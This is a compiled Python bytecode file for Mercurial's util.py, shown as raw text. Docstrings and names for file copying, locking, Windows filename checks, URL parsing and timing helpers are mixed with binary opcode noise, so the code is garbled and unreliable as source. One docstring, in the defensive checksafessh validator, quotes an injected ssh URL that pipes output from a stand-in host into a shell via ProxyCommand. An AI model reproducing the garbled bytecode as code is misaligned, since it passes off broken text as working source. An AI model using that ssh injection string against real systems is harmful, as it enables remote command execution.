cC@sO|j}t}||j_|j|_||_||_|jd7_|S(shAdd a node to the circular linked list. The new node is inserted before the head node. i(RR RR RI(R0RR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRs      cC@st|dks$|j|jkr(dSt|jd}|jj}x|jtkre|j}qJWxWt|dkr|j|kr|j|j=|j|j 8_|j |j}qiWdS(Nig?( RRRRRRRR;RRRR(R0t targetcostR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRs$  $  N(RCRDRER4RRR>R<R RR"R@RR$RR&RRR(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRs      '     / c@sUitjjjdkr<fd}nfd}|S(s+cache most recent results of function callsic@sc|krAtdkr.j=n||}d||>}||kr|}n||kr|}qndj|Vd}g}qqW|rdj|VndS(srreturn no less than min bytes per chunk while data remains, doubling min after each chunk until it reaches maxcS@s9|s dSd}x|r0|dL}|d7}qW|dS(Nii((txR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytlog2s  iiRN(R}RRRt(tsourceRrRpR7Rztblentchunktnmin((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytincreasingchunkss&           cC@stS(N(R|(R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytalways$scC@stS(N(Re(R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytnever'sc@sfd}|S(s disable garbage collector Python's garbage collector triggers a GC each time a certain number of container objects (the number being defined by gc.get_threshold()) are allocated even when marked not to be tracked by the collector. Tracking has no effect on when GCs are triggered, only on what objects the GC looks into. As a workaround, disable GC while building complex (huge) containers. This garbage collector issue have been fixed in 2.7. But it still affect CPython's performance. c@sBtj}tjz||SWd|r=tjnXdS(N(tgct isenabledtdisabletenable(RvRwt gcenabled(R(s4/usr/lib64/python2.7/site-packages/mercurial/util.pytwrapper7s   ((RRD((Rs4/usr/lib64/python2.7/site-packages/mercurial/util.pytnogc*s cC@s|S(N((R6((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRCscC@s!|st|Stjj|rtjj|dtjj|dkrgtjj|t|Sdjt||f}nt||jd}}|j |j x8|r|r|d|dkr|j |j qW|j t j jdgt ||p dS(sareturn the relative path from one place to another. root should use os.sep to separate directories n1 should use os.sep to separate directories n2 should use "/" to separate directories returns an os.sep-separated path. If n1 is a relative path, it's assumed it's relative to root. n2 should always be relative to root. it/is..R(t localpathR{tpathtisabst splitdriveRttpconvertt splitpathRtreverseR!R tossepRR(troottn1tn2tatb((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytpathtoEs  ,  #  tfrozent macosx_appc@sfd}|S(s5wrap a function with code to check for calling errorsc@s]y||SWnEtk rXttjtjddkrRtjnnXdS(Nii(t TypeErrorRRt tracebackt extract_tbtsystexc_infoRtSignatureError(RvRw(R(s4/usr/lib64/python2.7/site-packages/mercurial/util.pytcheckjs  % ((RR]((Rs4/usr/lib64/python2.7/site-packages/mercurial/util.pytchecksignaturehstapfstbtrfstext2text3text4thfstjfstNTFStreiserfsttmpfstufstxfstzfsc C@s|o | std}tjj|rV|rI|oCtj|}nt|n|ryttjj |}Wnt k rd}nX|t krt }qn|ryt ||dSWqtt fk rqXntjj|rtjtj||nytj|||r<tj||nqtj|||r|jrtj|}|j|r|jtjdd@}tj|||fqnWn+tjk r} tjt| nXdS(scopy a file, preserving mode and optionally other stat info like atime/mtime checkambig argument is used with filestat, and is useful only if destination file is guarded by any lock (e.g. repo.lock or repo.wlock). copystat and checkambig should be exclusive. Nii(tAssertionErrorR@R{RHtlexiststfilestattfrompathtunlinkt getfstypetdirnametOSErrort_hardlinkfswhitelistRetoslinktIOErrortislinktsymlinktreadlinktshutiltcopyfiletcopystattcopymodetstattisambigtST_MTIMEtutimetErrorRR-tstr( RRthardlinkR|t checkambigtoldstattfstypetnewstattadvancedtinst((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR{sB        c @sd}fd}tjj|rdkritj|jtjtjj|jkn|tj|x5t|D][\}}tjj ||}tjj ||} t || \} || 7}qWndkr7tjtjj|jtjtjj|jkn|ryt ||Wqt t fk rttj||qXntj|||d7}rjn|fS(s2Copy a directory tree using hardlinks if possible.ic@s.r*rtdn td_ndS(Ntlinkingtcopying(R.ttopic((Rtprogress(s4/usr/lib64/python2.7/site-packages/mercurial/util.pytsettopicsiN(R{RHtisdirR@R~tst_devRrtmkdirtlistdirRtt copyfilesRuRvRsReRzRt increment( RtdstRRtnumRRtkindtsrcnametdstnameR((RRs4/usr/lib64/python2.7/site-packages/mercurial/util.pyRs8 $  $  tcontprntauxtnultcom1tcom2tcom3tcom4tcom5tcom6tcom7tcom8tcom9tlpt1tlpt2tlpt3tlpt4tlpt5tlpt6tlpt7tlpt8tlpt9s:*?"<>|cC@s(|jdrtdSd|kr/tdSx|jddjdD]}|s]qKnxWt|D]I}|tkrtd|St|dkrjtdtj|SqjW|jd d }|r|j t krtd|S|d }|d krK|d krKtd|SqKWdS(sUCheck that the base-relative path is a valid filename on Windows. Returns None if the path is ok, or a UI string describing the problem. >>> checkwinfilename(b"just/a/normal/path") >>> checkwinfilename(b"foo/bar/con.xml") "filename contains 'con', which is reserved on Windows" >>> checkwinfilename(b"foo/con.xml/bar") "filename contains 'con', which is reserved on Windows" >>> checkwinfilename(b"foo/bar/xml.con") >>> checkwinfilename(b"foo/bar/AUX/bla.txt") "filename contains 'AUX', which is reserved on Windows" >>> checkwinfilename(b"foo/bar/bla:.txt") "filename contains ':', which is reserved on Windows" >>> checkwinfilename(b"foo/bar/b\07la.txt") "filename contains '\\x07', which is invalid on Windows" >>> checkwinfilename(b"foo/bar/bla ") "filename ends with ' ', which is not allowed on Windows" >>> checkwinfilename(b"../bar") >>> checkwinfilename(b"foo\\") "filename ends with '\\', which is invalid on Windows" >>> checkwinfilename(b"foo\\/bar") "directory name ends with '\\', which is invalid on Windows" s\s3filename ends with '\', which is invalid on Windowss\/s9directory name ends with '\', which is invalid on WindowsRFs4filename contains '%s', which is reserved on Windowsis3filename contains '%s', which is invalid on WindowsRiis. s..s8filename ends with '%s', which is not allowed on WindowsN( tendswithR.treplaceRt_filenamebytestrt_winreservedcharstordR Rtlowert_winreservednames(RHRtctbasett((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytcheckwinfilenames,   "      t perf_countercC@sytj||SWn;tk rA}|jtjkrRqRntk rQnXtjtjBtjBt tddB}tj ||}tj ||tj |dS(sCreate a lock file atomically if possible This may leave a stale lock file if symlink isn't supported and signal interrupt is enabled. tO_BINARYiN( R{RxRsterrnotEEXISTtAttributeErrortO_CREATtO_WRONLYtO_EXCLRtopenRRm(tinfotpathnametwhyRtld((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytmakelock s  'cC@s{yt|SWnDtk rD}|jtjtjfkrUqUntk rTnXt|d}|jSWdQXdS(Ntrb(RyRsRtEINVALtENOSYSRt posixfileRQ(RRR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytreadlock3s  cC@s<ytj|jSWntk r7tj|jSXdS(s1stat file object that may not have fileno method.N(R{RRlRR~R(R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR>s cC@stj|}tjj|\}}|j}||kr^|j}||kr^tSntjj||}y'tj|}||krtStSWnt k rtSXdS(s Return true if the given path is on a case-sensitive filesystem Requires a path (like /foo/.hg) ending with a foldable final directory component. N( R{tlstatRHRtupperRR|RtReRs(RHts1tdRStb2tp2ts2((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytfscasesensitiveGs      t_recB@s,eZdZddZedZRS(cC@s:yttjddaWntk r5tanXdS(Ns \[([^\[]+)\]s[ui](Ritre2Rt_re2RRe(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt _checkre2es icC@stdkr|jntr|tjtjB@dkr|tj@rTd|}n|tj@rnd|}nytj|SWqtjk rqXntj||S(sCompile a regular expression, using re2 if possible For best performance, use only re2-compatible regexp features. The only flags from the re module that are re2-compatible are IGNORECASE and MULTILINE.is(?i)s(?m)N( RR@RRt IGNORECASEt MULTILINERtcompileR(R0tpatR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRms  !    cC@s1tdkr|jntr&tjStjSdS(sReturn the version of escape corresponding to self.compile. This is imperfect because whether re2 or re is used for a particular function depends on the flags, etc, but it's the best we can do. N(RR@RRtescapeR(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRs   (RCRDRRR.R(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRds  c C@s>d}tj}tjr+|tj}n|jddtjd||f}tjj|}g}x|j |D]\}}|r|j |q|n|t kr||t |s(RKR{R(tdir((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt_makefspathcacheentryss\s\\s([^%s]+)|([%s]+)R(R RNtosaltsepRRRR{RHtnormpathtfindallR}t _fspathcacheRRt( RRORtsepstpatternRR%tparttseptcontentstfound((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytfspaths,      c C@sd \}}}zytjddtjj|dddtjj|\}}tj|d|d }t||t |}t |dkSWnt k rt SXWd |d k r|jnxH||fD]:}y |d k rtj |nWqt k rqXqWXd S( s5check whether hardlink count reporting works properlytprefixs.%s-tsuffixs1~Rs%s2~iiN(NNN(R@R tmkstempR{RHtbasenameRrRmRuRtnlinksRsReRp(ttestfiletf1tf2RRR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt checknlinks(!         cC@s+|jtjp*tjo*|jtjS(s)Check path ends with os.sep or os.altsep.(RR RNR(RH((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt endswithsepscC@s|jtjS(sSplit path by os.sep. Note that this function does not use os.altsep because this is an alternative of simple "xxx.split(os.sep)". It is recommended to use os.path.normpath() before using this function if need.(RR RN(RH((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRLsc C@sHtjj|\}}tjdd|ddd|\}}tj|t||||rg|Syyt|d}WnJtk r}|j t j kr|St |dd s||_ nnXt|d} x!t|D]} | j| qW|j| jWn/ytj|Wntk r<nXnX|S( sCreate a temporary file with the same contents from name The permission bits are copied from the original file. If the temporary file is going to be truncated immediately, you can use emptyok=True as an optimization. Returns the name of the temporary file. Rs.%s-Rt~RRtfilenametwbN(R{RHRR RRmR}RRvRtENOENTRR@Rt filechunkiterRRpRs( Rtemptyokt createmodeRRRttemptifpRtofpR:((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt mktempcopys6 (    RncB@sbeZdZdZedZedZejZdZ dZ dZ dZ RS(shelp to exactly detect change of a file 'stat' attribute is result of 'os.stat()' if specified 'path' exists. Otherwise, it is None. This can avoid preparative 'exists()' examination on client side of this class. cC@s ||_dS(N(R~(R0R~((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4scC@sQytj|}Wn1tk rF}|jtjkr=nd}nX||S(N(R{R~RsRRR@(RbRHR~terr((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRos cC@stj|j}||S(N(R{RRl(RbRR~((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytfromfp#scC@syZ|jj|jjkoX|jtj|jtjkoX|jtj|jtjkSWntk rmnXy |jdko|jdkSWntk rtSXdS(N(R~RtST_CTIMERRR@Re(R0told((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt__eq__*s "   cC@s;y"|jtj|jtjkSWntk r6tSXdS(sExamine whether new (= self) stat is ambiguous against old one "S[N]" below means stat of a file at N-th change: - S[n-1].ctime < S[n].ctime: can detect change of a file - S[n-1].ctime == S[n].ctime - S[n-1].ctime < S[n].mtime: means natural advancing (*1) - S[n-1].ctime == S[n].mtime: is ambiguous (*2) - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care) - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care) Case (*2) above means that a file was changed twice or more at same time in sec (= S[n-1].ctime), and comparison of timestamp is ambiguous. Base idea to avoid such ambiguity is "advance mtime 1 sec, if timestamp is ambiguous". But advancing mtime only in case (*2) doesn't work as expected, because naturally advanced S[n].mtime in case (*1) might be equal to manually advanced S[n-1 or earlier].mtime. Therefore, all "S[n-1].ctime == S[n].ctime" cases should be treated as ambiguous regardless of mtime, to avoid overlooking by confliction between such mtime. Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime != S[n].mtime", even if size of a file isn't changed. N(R~RRRe(R0R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR9s" cC@se|jtjdd@}ytj|||fWn,tk r`}|jtjkrZtSnXtS(sLChange file stat of specified path to avoid ambiguity 'old' should be previous filestat of 'path'. This skips avoiding ambiguity, if a process doesn't have appropriate privileges for 'path'. This returns False in this case. Otherwise, this returns True, as "ambiguity is avoided". ii( R~RR{RRsRtEPERMReR|(R0RHRRR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt avoidambig\s cC@s ||k S(N((R0tother((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt__ne__rs( RCRDRER4t classmethodRoRRt__hash__RRR R (((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRns     # tatomictempfilecB@sMeZdZddedZdZdZdZdZ dZ RS( swritable file object that atomically updates a file All writes will go to a temporary copy of the original file. Call close() when you are done writing, and atomictempfile will rename the temporary copy to the original name, making the changes visible. If the object is destroyed without being closed, all your writes are discarded. checkambig argument of constructor is used with filestat, and is useful only if target file is guarded by any lock (e.g. repo.lock or repo.wlock). sw+bcC@s||_t|dd|kd||_t|j||_||_|jj|_|jj|_|jj|_|jj |_ |jj |_ dS(NRtwR( t_atomictempfile__nameRt _tempnameRt_fpt _checkambigRQRRRRl(R0RRRR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4s   cC@s|jjs|jjt|j}|jo=tj|}|r|jrt |j |tj|}|j |r|jtj dd@}t j|||fqqt |j |ndS(Nii(RRkRmRGRRRnRoR~trenameRRRR{R(R0RRRR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRms  cC@sH|jjsDytj|jWntk r3nX|jjndS(N(RRkR{RpRRsRm(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytdiscards   cC@s t|dr|jndS(NR(t safehasattrR(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt__del__scC@s|S(N((R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRscC@s'|dk r|jn |jdS(N(R@RRm(R0texctypetexcvalueRX((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRs  N( RCRDRER@ReR4RmRRRR(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRus     cC@sX|rt|n t||rTyttjj|WqTtk rPqTXndS(s.unlink and remove the directory if it is emptyN(t tryunlinkRpt removedirsR{RHRrRs(Rt ignoremissingtrmdir((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt unlinkpaths   cC@s@yt|Wn+tk r;}|jtjkr<q<nXdS(s1Attempt to remove a file, ignoring ENOENT errors.N(RpRsRR(Rte((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRs cC@syt||Wntk r}|jtjkr9dS|jtjksR| rXntjjtjj|}||krnt |||yt||Wqtk r}|jtjkrdSqXnX|dk rtj ||ndS(srecursive directory creation with parent mode inheritance Newly created directories are marked as "not to be indexed by the content indexing service", if ``notindexed`` is specified for "write" mode access. N( tmakedirRsRRRR{RHRrtabspathtmakedirsR@tchmod(RRt notindexedRtparent((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR#s&   cC@s&t|d}|jSWdQXdS(NR(RRQ(RHR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytreadfilescC@s)t|d}|j|WdQXdS(NR(RR(RHttextR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt writefilescC@s)t|d}|j|WdQXdS(Ntab(RR(RHR(R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt appendfilest chunkbuffercB@s#eZdZdZddZRS(soAllow arbitrary sized chunks of data to be efficiently read from an iterator over chunks of arbitrary size.cC@s4d}|||_tj|_d|_dS(s?in_iter is the iterator that's iterating over the input chunks.cs@sjxc|D][}t|dkr]d}x:|t|krY|d}|||!V|}q(Wq|VqWdS(Niiiiii(RR(tchunksR:tpostend((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytsplitbigs    iN(R=R+R,t_queuet _chunkoffset(R0tin_iterR0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4s c C@s|dkrdj|jS|}g}|j}x@|dkrs|sd}x>|jD]3}|j||t|8}|dkrVPqVqVW|sPqn|d}t|}|j}|dkr||kr||8}|j|j|q4n||} || kr?|| 8}|j|j||d|_q4|j||||!|j|7_|| 8}q4Wdj|S(sRead L bytes of data from the iterator of chunks of data. Returns less than L bytes if the iterator runs dry. If size parameter is omitted, read everythingRiiiNi(R@RtR=R1R}RRR2R(( R0tltleftRztqueuettargetR:tchunklRZtchunkremaining((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRQ sB               N(RCRDRER4R@RQ(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR,s icc@s|dkst|dks0|dks0txktr|dkrN|}nt||}|oo|j|}|s|Pn|r|t|8}n|Vq3WdS(sYCreate a generator that produces the data in the file size (default 131072) bytes at a time, up to optional limit (default is to read all data). Chunks may be less than size bytes if the chunk is the last chunk in the file, or the file is a socket or some other type of file that sometimes reads less data than is requested.iN(RlR@R|RrRQRR(RRPRtnbytesR2((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRA s   t cappedreadercB@s,eZdZdZddZdZRS(sA file object proxy that allows reading up to N bytes. Given a source file object, instances of this type allow reading up to N bytes from that source file object. Attempts to read past the allowed limit are treated as EOF. It is assumed that I/O is not performed on the original file object in addition to I/O that is performed by this instance. If there is, state tracking will get out of sync and unexpected results will ensue. cC@s||_||_dS(s,Allow reading up to bytes from .N(RHt_left(R0ROR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4a s icC@sq|js dS|dkr%|j}n|jjt||j}|jt|8_|jdksmt|S(NRi(R<RHRQRrRRRl(R0RR6((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRQf s   cC@sB|jt|}|dkr%dS||dt|+t|S(Ni(RQRRR@(R0RSR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRs s  (RCRDRER4RQR(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR;V s   c@sfd}|S(s@return a function that renders a readable count of some quantityc@sRx?D]7\}}}t|||kr||t|SqWdd|S(Nii(tabstfloat(tcountt multipliertdivisortformat(t unittable(s4/usr/lib64/python2.7/site-packages/mercurial/util.pytgo~ s((RCRD((RCs4/usr/lib64/python2.7/site-packages/mercurial/util.pyt unitcountfn{ scC@sZ||dkr(tjtdn|dkrLtjtdn|d|fS(sCheck that linerange : makes sense and return a 0-based range. >>> processlinerange(10, 20) (9, 20) >>> processlinerange(2, 1) Traceback (most recent call last): ... ParseError: line range must be positive >>> processlinerange(0, 5) Traceback (most recent call last): ... ParseError: fromline must be strictly positive isline range must be positiveis"fromline must be strictly positive(Rt ParseErrorR.(tfromlinettoline((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytprocesslinerange s  idis%.0f GBi s%.1f GBs%.2f GBis%.0f MBs%.1f MBs%.2f MBs%.0f KBs%.1f KBs%.2f KBs %.0f bytesttransformingwritercB@s2eZdZdZdZdZdZRS(s3Writable file wrapper to transform data by functioncC@s||_||_dS(N(Rt_encode(R0Rtencode((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4 s cC@s|jjdS(N(RRm(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRm scC@s|jjdS(N(RR(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR scC@s|jj|j|S(N(RRRK(R0R6((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR s(RCRDRER4RmRR(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRJ s    s\r*\ncC@stjd|S(Ns (t_eolretsub(R2((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyttolf scC@stjd|S(Ns (RMRN(R2((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyttocrlf scC@s t|tS(N(RJRP(R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt _crlfwriter ss tCPythoniiicC@st|jdS(NR(R=Ry(R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt _safeiterfile scc@s|j}d}xtrytj||}Wn.tk ra}|jtjkr[qqbnX||7}d|kr|jt}d}x/|D]$}|ddkr|Vq|}qWn|sPqqW|r|VndS(NRs i(RlR|R{RQRsRtEINTRR(RRRRRztextsplittedR4((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRS s*      cC@sTt}t|tkr<tjtj|jj}n|rF|St |SdS(N( R|R1tfileR~tS_ISREGR{RRltst_modeRS(Rtfastpath((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytiterfile s $cC@s|S(N((R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR[ scc@s1x*|D]"}x|jD] }|VqWqWdS(N(R(titeratorR:R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt iterlines s cC@stjjtjj|S(N(R{RHt expandusert expandvars(RH((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt expandpath sc@sp ddjj}|rj|d|7}t|dkrW|d}n|}||://:@:/?# Missing components are set to None. The only exception is fragment, which is set to '' if present but empty. If parsefragment is False, fragment is included in query. If parsequery is False, query is included in path. If both are False, both fragment and query are included in path. See http://www.ietf.org/rfc/rfc2396.txt for more information. Note that for backward compatibility reasons, bundle URLs do not take host names. That means 'bundle://../' has a path of '../'. Examples: >>> url(b'http://www.ietf.org/rfc/rfc2396.txt') >>> url(b'ssh://[::1]:2200//home/joe/repo') >>> url(b'file:///home/joe/repo') >>> url(b'file:///c:/temp/foo/') >>> url(b'bundle:foo') >>> url(b'bundle://../foo') >>> url(br'c:\foo\bar') >>> url(br'\\blah\blah\blah') >>> url(br'\\blah\blah\blah#baz') >>> url(br'file:///C:\users\me') Authentication credentials: >>> url(b'ssh://joe:xyz@x/repo') >>> url(b'ssh://joe@x/repo') Query strings and fragments: >>> url(b'http://host/a?b#c') >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) Empty path: >>> url(b'') >>> url(b'#a') >>> url(b'http://host/') >>> url(b'http://host/#a') Only scheme: >>> url(b'http:') s!~*'()+s /!~*'()+:\s^[a-zA-Z0-9+.\-]+:cC@sd|_|_|_|_d|_|_|_|_t |_ d|_ ||_ |rd|kr|j dd\}|_nt|s|jdr||_dS|jdrd|_|d}|jdr|d }n||_dS|j|rC|j d d}|d rC|\|_}t|_ qCn|shd}|j rd|_dSnI|j r~||_dS|rd |kr|j d d\}|_|sd}n|jsd|_qn|rl|jdrl|d j d d}t|dkr!|\|_}n|d |_d}|jsld|_|rit| rid |}qiqln|jrd|jkr|jjdd\|_|_d |jkr|jj d d\|_|_n|jsd|_qn|jrrd |jkrr|jjdo)|jjd rr|j|_ |jjd d\|_|_|jsrd|_qrn|jr|jdkr|jdkrtjtdn||_xEdD]=}t||}|dk rt||tj|qqWdS(NRt#is\\sbundle:tbundleis//it:it?RFt@t[t]RWt localhosts 127.0.0.1s[::1]s(file:// URLs can only refer to localhosttusertpasswdthostRjRHtfragment(Rts 127.0.0.1s[::1](RuRvRwRjRHRx(R@tschemeRuRvRwRjRHtqueryRxR|t _localpatht _hostportt _origpathRthasdrivelettert startswitht _matchschemeReRRtrsplitRRR-R.RRturlreqtunquote(R0RHt parsequeryt parsefragmenttpartsRRRV((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4 s                  !$ % !    cC@sfg}xLd D]D}t||}|dk r |jd |tj|fq q Wd d j|S( NRyRuRvRwRjRHRzRxs%s: %rss, (RyRuRvRwRjRHRzRx(RR@R}R tbytestrRt(R0tattrsRRRV((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt__repr__ s  'cC@sm|jrO|j}|jdkr.d|}n|jrK|d|j7}n|S|jd}|jsw|jsw|jr|d7}n]|jr|j s|jjdst|jr|d7}t|jr|d7}qn|jr |t j |jd|j 7}n|jr;|dt j |jd|j 7}n|jsM|jrZ|d7}n|jr|jjd o|jj d s|t j |j7}q||j7}n|j r|dt j |j 7}n|jr|d7}n|jr|t j |jd|j7}n|jr4|d |j7}n|jd k ri|dt j |jd|j7}n|S( sJoin the URL's components back into a URL string. Examples: >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) 'http://user:pw@host:80/?foo=bar&baz=42' >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) 'http://user:pw@host:80/?foo=bar%3dbaz' >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) 'ssh://user:pw@[::1]:2200//home/joe#' >>> bytes(url(b'http://localhost:80//')) 'http://localhost:80//' >>> bytes(url(b'http://localhost:80/')) 'http://localhost:80/' >>> bytes(url(b'http://localhost:80')) 'http://localhost:80/' >>> bytes(url(b'bundle:foo')) 'bundle:foo' >>> bytes(url(b'bundle://../foo')) 'bundle:../foo' >>> bytes(url(b'path')) 'path' >>> bytes(url(b'file:///tmp/foo/bar')) 'file:///tmp/foo/bar' >>> bytes(url(b'file:///c:/tmp/foo/bar')) 'file:///c:/tmp/foo/bar' >>> print(url(br'bundle:foo\bar')) bundle:foo\bar >>> print(url(br'file:///D:\data\hg')) file:///D:\data\hg Rnsbundle:RmRos//RFtsafeRqRrRsRpN(R{RHRyRxRuRvRwRR~Rtquotet _safecharsRRjt _safepcharsRzR@(R0R2((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt __bytes__ sH"      %  " &  $    " &cC@s|j|j}}z"d\|_|_t|}Wd|||_|_X|js_|dfS|d||jf|j|jpdffS(NR(NN(RuRvR@tbytesRw(R0RuRvR2((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytauthinfoM s  cC@s_|jr|jdkrtSt|jr/tS|jjdrEtS|jjdr[tStS(NRWs\\RF(RyR|R~RHRRe(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRI] scC@s|jdks|jdkr|jp*d}t|jrS|jd|j}n2|jdk r|jrt| rd|}n|S|jS(NRWRnRF(RyRHR~R|RwR@R}(R0RH((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRGh s  cC@s&|j p%|jdkp%|jdkS(s?whether localpath will return something that posixfile can openRWRn(Ry(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytislocalu s(RCRDRERRRRRRR|R4Rt strmethodRRt__str__RRIRGR(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRlJ sH\ M  cC@stt|jS(N(RiRlRy(RH((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt hasschemez scC@s*|o)|dd!dko)|dd!jS(NiiRoi(tisalpha(RH((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR~} scC@st|dtdtjS(NRR(RlReRG(RH((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt urllocalpath scC@sYtj|}|jds-|jdrUtjtdtj|fndS(s\check if a path / url is a potentially unsafe ssh exploit (SEC) This is a sanity check for ssh urls. ssh will parse the first item as an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. Let's prevent these potentially exploited urls entirely and warn the user. Raises an error.Abort when the url is unsafe. sssh://-s svn+ssh://-spotentially unsafe url: %rN(RRRRR-R.R R(RH((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt checksafessh s cC@s+t|}|jr!d|_nt|S(s$hide user credential in a url strings***(RlRvR(tu((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt hidepassword s   cC@s&t|}d|_|_t|S(s7remove all authentication information from a url stringN(RlR@RuRvR(R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt removeauth s g@@s%.0f ss%.1f ss%.2f ss%.3f sgMbP?s%.1f mss%.2f mss%.3f msgư>s%.1f uss%.2f uss%.3f usg& .>s%.1f nss%.2f nss%.3f nst timedcmstatscB@sheZdZejdejdZejddZejddZdZ e j e Z RS(sFStats information produced by the timedcm context manager on entering.RcC@stS(N(ttimer(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR siicC@s|jrt|jSdS(Ns (telapsedt timecount(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR s( RCRDRERtibtFactorytstartRRRRRR(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR s  cg@smtjd7_tdtj}z"tj|| |VWdQXWdt|j|_tjd8_XdS(sA context manager that produces timing information for a given context. On entering a timedcmstats instance is produced. This context manager is reentrant. iRN(ttimedcmt_nestedRRtlogRRR(t whencefmtt whenceargst timing_stats((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR s c@sfd}|S(sReport the execution time of a function call to stderr. During development, use as a decorator when you need to measure the cost of a function, e.g. as follows: @util.timed def foo(a, b, c): pass c@snttjj}||}WdQXtj}|jdd|jdtjj|f|S(Ns %s%s: %s t i(RR RRCR tstderrRR(RvRwt time_statsR%R(R(s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRD s   ((RRD((Rs4/usr/lib64/python2.7/site-packages/mercurial/util.pyttimed s RR3tgtkbtmbtgbRScC@s|jj}ySxBtD]:\}}|j|rtt|t| |SqWt|SWn*tk rtj t d|nXdS(sConvert a space specifier to a byte count. >>> sizetoint(b'30') 30 >>> sizetoint(b'2.2kb') 2252 >>> sizetoint(b'6M') 6291456 scouldn't parse size: %sN( tstripRt _sizeunitsRRR>RRRRRFR.(R2RR3R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt sizetoint s # thookscB@s)eZdZdZdZdZRS(sA collection of hook functions that can be used to extend a function's behavior. Hooks are called in lexicographic order, based on the names of their sources.cC@s 